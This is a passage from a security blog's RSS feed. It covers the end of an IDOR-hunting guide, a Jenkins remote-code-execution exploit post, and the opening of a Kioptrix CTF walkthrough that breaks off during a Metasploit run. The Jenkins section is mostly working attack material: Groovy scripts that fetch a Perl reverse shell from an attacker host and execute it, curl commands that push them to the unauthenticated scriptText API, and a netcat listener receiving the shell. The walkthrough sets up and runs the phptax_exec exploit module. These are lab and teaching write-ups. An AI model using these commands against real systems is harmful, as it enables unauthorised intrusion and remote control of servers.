&lt;p&gt;If the file name is vulnerable to IDOR an attacker could simply predict or bruteforce the numeric value and access another users file. If successful an attacker could potentially gain access to the document.&lt;/p&gt;

&lt;h2 id=&quot;how-to-find-idor-vulnerabilties&quot;&gt;How To Find IDOR Vulnerabilties&lt;/h2&gt;

&lt;p&gt;This document walks through some potential techniques on how to find IDOR vulnerabilities witin vulnerable web applications. Due to the manual process of building and implimenting access control systems, mistakes could be made (human error). Unfortunately, identifying IDOR vulnerabilities is typically best done manually.&lt;/p&gt;

&lt;h2 id=&quot;idor-entry-points&quot;&gt;IDOR Entry Points&lt;/h2&gt;

&lt;p&gt;Assess the application for predictable parameters or URL’s, some food for thought:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Profile URL’s or ID’s&lt;/li&gt;
  &lt;li&gt;Password reset functions (great for privilege escalation)&lt;/li&gt;
  &lt;li&gt;Numeric parameters&lt;/li&gt;
  &lt;li&gt;Predictable parameters&lt;/li&gt;
&lt;/ol&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;foo.com/profile/user_id&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7747&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_id&lt;/code&gt; parameter is vulnerable to IDOR an attacker could simply modify the numeric value and access another users profile. If successful an attacker could gain access to a user acverticalcount profile and potentially perform horizontal, or vertical privilege escalation against the vulnerable application.&lt;/p&gt;

&lt;h2 id=&quot;idor-example-file-name-1&quot;&gt;IDOR Example: File Name&lt;/h2&gt;

&lt;p&gt;Another typical example of an IDOR vulnerability would be file names with a predictable value that could be bruteforced, guessed or predicted if sequential, such as:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;foo.com/download/12432-secure-document.pdf&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If the file name is vulnerable to IDOR an attacker could simply predict or bruteforce the numeric value and access another users file. If successful an attacker could potentially gain access to the document.&lt;/p&gt;

&lt;h2 id=&quot;finding-access-control-bug-idor&quot;&gt;Finding Access Control Bug (IDOR)&lt;/h2&gt;

&lt;p&gt;You could argue that strictly speaking this is not an IDOR bug, however (call it what you want to call it), either way it is still an issue.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Using BurpSuite or another similar tool, browse the application as a user or ideally a privileged user account&lt;/li&gt;
  &lt;li&gt;Authenticate as another user account, or an account with lower priveleges - and obtain a session identifier (token/cookie)&lt;/li&gt;
  &lt;li&gt;Use the session identifier obtained during step 2 against the URL’s from step 1&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Web Server Response Codes Lie&lt;/h5&gt;
  &lt;p&gt;Do not depend solely on response codes, many web applications respond with incorrect response codes.&lt;/p&gt;
&lt;/div&gt;

&lt;h2 id=&quot;idor-vs-forced-browsing-whats-the-difference&quot;&gt;IDOR vs Forced Browsing: What’s the Difference?&lt;/h2&gt;

&lt;p&gt;Forced browsing and IDOR vulnerabilties are very similar access control vulnerabilities. The main thing that seperates the vulnerabilties is the method of discovery is typically bruteforcing URL’s for forced browsing e.g. with a large word list and IDOR detection is typically discovered by brute forcing predicatable parameters.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Jenkins RCE via Unauthenticated API</title>
          <link>https://hacksofdhruv.me/blog/jenkins-api-unauthenticated-rce-exploit/</link>
          <pubDate>Thu, 18 Apr 2024 10:08:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Jenkins</category>
          
          <category>Exploit</category>
          
          <category>RCE</category>
          
          <category>Pen-Testing</category>
          
          
          <category>Exploit</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/jenkins-api-unauthenticated-rce-exploit/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description:&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tested-versions&quot; id=&quot;markdown-toc-tested-versions&quot;&gt;Tested Versions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tested-operating-systems&quot; id=&quot;markdown-toc-tested-operating-systems&quot;&gt;Tested Operating Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#instructions&quot; id=&quot;markdown-toc-instructions&quot;&gt;Instructions&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#groovy-script-wget-shell&quot; id=&quot;markdown-toc-groovy-script-wget-shell&quot;&gt;groovy script wget shell&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#groovy-script-execute-shell-command&quot; id=&quot;markdown-toc-groovy-script-execute-shell-command&quot;&gt;groovy script execute shell command&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#execute-the-groovy-scripts-via-scripttext-jenkins-api&quot; id=&quot;markdown-toc-execute-the-groovy-scripts-via-scripttext-jenkins-api&quot;&gt;Execute the Groovy Scripts via scriptText Jenkins API&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#get-shell&quot; id=&quot;markdown-toc-get-shell&quot;&gt;Get Shell&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#more-info-about-jenkins&quot; id=&quot;markdown-toc-more-info-about-jenkins&quot;&gt;More info about Jenkins&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#more-resources&quot; id=&quot;markdown-toc-more-resources&quot;&gt;More Resources&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;description&quot;&gt;Description:&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://jenkins-ci.org/&quot;&gt;Jenkins&lt;/a&gt; (continuous intergration server) default install allows for unauthenticated access to the API on the Jenkins Master Server (default behavour). Allowing unauthenticated access to the groovy script console, allowing an attacker to execute shell commands and / or connect back with a reverse shell.&lt;/p&gt;

&lt;div class=&quot;note warning&quot;&gt;
  &lt;h5&gt;DISCLAIMER&lt;/h5&gt;
  &lt;p&gt;Disclaimer, I didn&apos;t discover this exploit, it has been discovered before... This vulnerability has been disclosed before to the Jenkins CI developers, who do &lt;b&gt;not consider it a vulnerability&lt;/b&gt;.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/lTas7UD.gif&quot; alt=&quot;Jenkins RCE API Exploit&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;tested-versions&quot;&gt;Tested Versions&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Software&lt;/th&gt;
      &lt;th&gt;Version&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;Jenkins&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Ver 1.626&lt;/p&gt;
      &lt;/td&gt;
       &lt;/tr&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;Jenkins&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Ver 1.638&lt;/p&gt;
      &lt;/td&gt;
      &lt;/tr&gt;

      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;tested-operating-systems&quot;&gt;Tested Operating Systems&lt;/h2&gt;

&lt;p&gt;An effort to test all affected OS’s, showing the severity of the exploit (e.g. jenkins shell) for the default OS packaged version.&lt;/p&gt;

&lt;div&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Operating System&lt;/th&gt;
      &lt;th&gt;Default Package Expoit&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;CentOS 6 - Jenkins RPM via Jenkins YUM Repo&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;shell as user jenkins&lt;/p&gt;
      &lt;/td&gt;
      &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;instructions&quot;&gt;Instructions&lt;/h2&gt;

&lt;p&gt;This is really basic, I made a few small groovy scripts to execute the shell commands I wanted via Jenkins API (I recall having some issues runing more than one command at a time via groovy), I then executed them using Curl.&lt;/p&gt;

&lt;h3 id=&quot;groovy-script-wget-shell&quot;&gt;groovy script wget shell&lt;/h3&gt;

&lt;p&gt;Script to wget perl reverse shell to target and copy it to /tmp/shell.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;   &lt;span class=&quot;n&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;wget http://192.168.145.128/perl-reverse-shell.pl -O /tmp/shell&quot;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;waitFor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;

   &lt;span class=&quot;n&quot;&gt;println&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Process exit code: ${proc.exitValue()}&quot;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;println&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Std Err: ${proc.err.text}&quot;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;println&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Std Out: ${proc.in.text}&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note tip&quot;&gt;
  &lt;h5&gt;Jenkins requires /tmp to have exec perms&lt;/h5&gt;
  &lt;p&gt;By default Jenkins requires &lt;code&gt;/tmp&lt;/code&gt; to have the execute mount option set, so you should be safe to land shells there on Jenkins servers.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;groovy-script-execute-shell-command&quot;&gt;groovy script execute shell command&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-java&quot; data-lang=&quot;java&quot;&gt;    &lt;span class=&quot;n&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;perl /tmp/shell&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;proc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;waitFor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;              

    &lt;span class=&quot;n&quot;&gt;println&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Process exit code: ${proc.exitValue()}&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;println&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Std Err: ${proc.err.text}&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;println&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Std Out: ${proc.in.text}&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;execute-the-groovy-scripts-via-scripttext-jenkins-api&quot;&gt;Execute the Groovy Scripts via scriptText Jenkins API&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;script=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&amp;lt;./wget.groovy&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST http://192.168.30.130:8080/scriptText
curl &lt;span class=&quot;nt&quot;&gt;--data-urlencode&lt;/span&gt;  &lt;span class=&quot;s2&quot;&gt;&quot;script=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&amp;lt;./execute.groovy&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST http://192.168.30.130:8080/scriptText&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;get-shell&quot;&gt;Get Shell&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;    &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~/pwn-jenkins]# nc &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 443
    listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...
    connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.30.128] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.30.130] 42340
     21:16:17 up 15:17,  1 user,  load average: 0.23, 0.31, 0.17
     USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
     root     tty1     -                05:59    3:40   0.12s  0.12s &lt;span class=&quot;nt&quot;&gt;-bash&lt;/span&gt;
     Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 &lt;span class=&quot;c&quot;&gt;#1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux&lt;/span&gt;
     &lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;498&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;jenkins&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;499&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;jenkins&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;499&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;jenkins&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;unconfined_u:system_r:unconfined_java_t:s0
     /
     apache: cannot &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;terminal process group &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: Invalid argument
     apache: no job control &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this shell
     apache-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;whoami
     whoami
     &lt;/span&gt;jenkins
     apache-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
     id
     &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;498&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;jenkins&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;499&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;jenkins&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;499&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;jenkins&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;unconfined_u:system_r:unconfined_java_t:s0
     apache-4.1&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Jenkins Does Not Consider this a Vulnerability&lt;/h5&gt;
  &lt;p&gt;Dispite the fact the web application is insecure by default (the default
  install leaves the API and webapp exposed without authentication), Jenkins do
  not consider this a vulnerability. Your best option is to configure
  authentication by following the &lt;a href=&quot;https://wiki.jenkins-ci.org/display/JENKINS/Standard+Security+Setup&quot;&gt;Securing Jenkinsi Guide&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;h2 id=&quot;more-info-about-jenkins&quot;&gt;More info about Jenkins&lt;/h2&gt;

&lt;p&gt;Jenkins is a tool consisting of a master and a slave, the master server
schedules and runs jobs for the jenkins slaves to execute. The default
installation configures the master as a slave server, allowing anyone with access to the Jenkins master
to execute arbitrary code on the master (via the slave).&lt;/p&gt;

&lt;p&gt;A more secure solution would be isolating the role of the master server.
Currently if a Jenkins master server is compromised, it’s likely an attacker
will also be able to execute jobs / run shell scripts on the Jenkins slaves.&lt;/p&gt;

&lt;p&gt;An additional ACL option within Matrix-based security to disable API, and
another for script
console / execution on the Jenkins Master would be a good idea. Currently the
only options is to disable all script access for the user/group, which appears to include the
slaves.&lt;/p&gt;

&lt;p&gt;Be mindful of the fact that, by giving access to the slaves via the Jenkins Master,
you’re essentially giving the user shell level access to the slave (or at least
the ability to execute shell commands on the slave machine).&lt;/p&gt;

&lt;h2 id=&quot;more-resources&quot;&gt;More Resources&lt;/h2&gt;

&lt;p&gt;More links about this vuln and similar Jenkins vulns below:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://leonjza.github.io/blog/2015/05/26/jenkins-to-meterpreter-toying-with-powersploit/&quot;&gt;http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_script_console&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Kioptrix Level 2014 Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/kioptrix-level-2014-walkthrough/</link>
          <pubDate>Mon, 15 Apr 2024 14:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Kioptrix</category>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/kioptrix-level-2014-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-interrogation&quot; id=&quot;markdown-toc-web-application-interrogation&quot;&gt;Web Application Interrogation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#non-privileged-shell&quot; id=&quot;markdown-toc-non-privileged-shell&quot;&gt;Non Privileged Shell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.&lt;/p&gt;

&lt;h2 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 8080&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;        

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;web-application-interrogation&quot;&gt;Web Application Interrogation&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;http://192.168.221.159:8080/&lt;/code&gt; rendered a page 403 forbidden page. The Firefox UserAgent switcher was leveraged to change the browser to IE 6, exposing the web application &lt;strong&gt;PHPTAX&lt;/strong&gt; (this took a while to figure out!):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/kioptrix/phptax.png&quot; alt=&quot;phptax&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/kioptrix/phptax2.png&quot; alt=&quot;phptax2&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;non-privileged-shell&quot;&gt;Non Privileged Shell&lt;/h2&gt;

&lt;p&gt;Research discovered a metasploit module existed for phptax:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;msf &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; use exploit/multi/http/phptax_exec
msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;phptax_exec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;RHOST 192.168.221.159
RHOST &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 192.168.221.159
msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;phptax_exec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;RPORT 8080
RPORT &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; 8080
msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;phptax_exec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;TARGETURI /phptax/
TARGETURI &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; /phptax/
msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;phptax_exec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; show options

Module options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;exploit/multi/http/phptax_exec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name       Current Setting  Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;       &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   Proxies                     no        A proxy chain of format &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;:host:port[,type:host:port][...]
   RHOST      192.168.221.159  &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target address
   RPORT      8080             &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target port
   TARGETURI  /phptax/         &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The path to the web application
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;
   0   PhpTax 0.8


msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;phptax_exec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; run

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:41] Started reverse double handler
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:41] 192.168.221.1598080 - Sending request...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Accepted the first client connection...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Accepted the second client connection...
